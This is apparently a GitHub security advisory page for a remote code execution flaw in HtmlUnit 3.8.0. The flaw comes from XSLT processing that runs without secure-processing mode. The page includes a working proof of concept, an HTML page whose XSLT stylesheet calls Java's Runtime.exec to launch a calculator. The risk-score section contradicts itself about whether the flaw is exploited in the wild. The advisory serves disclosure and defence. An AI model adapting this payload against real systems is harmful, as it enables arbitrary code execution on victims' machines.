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GHSA-37vq-hr2f-g7h7

CriticalCVSS 9.8 / 10
Published Dec 4, 2023·Last modified Feb 16, 2024
Affected Components(0)

No affected components available

Description

Summary

HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage

Details

Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)

The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor

PoC

pom.xml:

<dependency>
  <groupId>org.htmlunit</groupId>
  <artifactId>htmlunit</artifactId>
  <version>3.8.0</version>
</dependency>

code:

WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);
HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html");
System.out.println(page.asNormalizedText());

test.html:

<script>
    var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0");
    var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0");
    var xslProc;
    xslDoc.async = false;
    xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
   <xsl:template match="/">
     <xsl:variable name="rtobject" select="rt:getRuntime()"/>
     <xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/>
     <xsl:variable name="processString" select="ob:toString($process)"/>
     <span><xsl:value-of select="$processString"/></span>
   </xsl:template>
 </xsl:stylesheet>`)

    if (xslDoc.parseError.errorCode != 0) {
        var myErr = xslDoc.parseError;
        document.write("ParseError: "+myErr.reason);
    } else {
        xslt.stylesheet = xslDoc;
        var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
        xmlDoc.async = false;
        xmlDoc.loadXML("<s></s>");
        if (xmlDoc.parseError.errorCode != 0) {
            var myErr = xmlDoc.parseError;
            document.write("Document error: " + myErr.reason);
        } else {
            xslProc = xslt.createProcessor();
            xslProc.input = xmlDoc;
            xslProc.transform();
            document.write(xslProc.output);
        }
    }
</script>

Impact

Remote Code Execution

Risk Scores
Base Score
9.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.0

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
2.38%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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Critical severity
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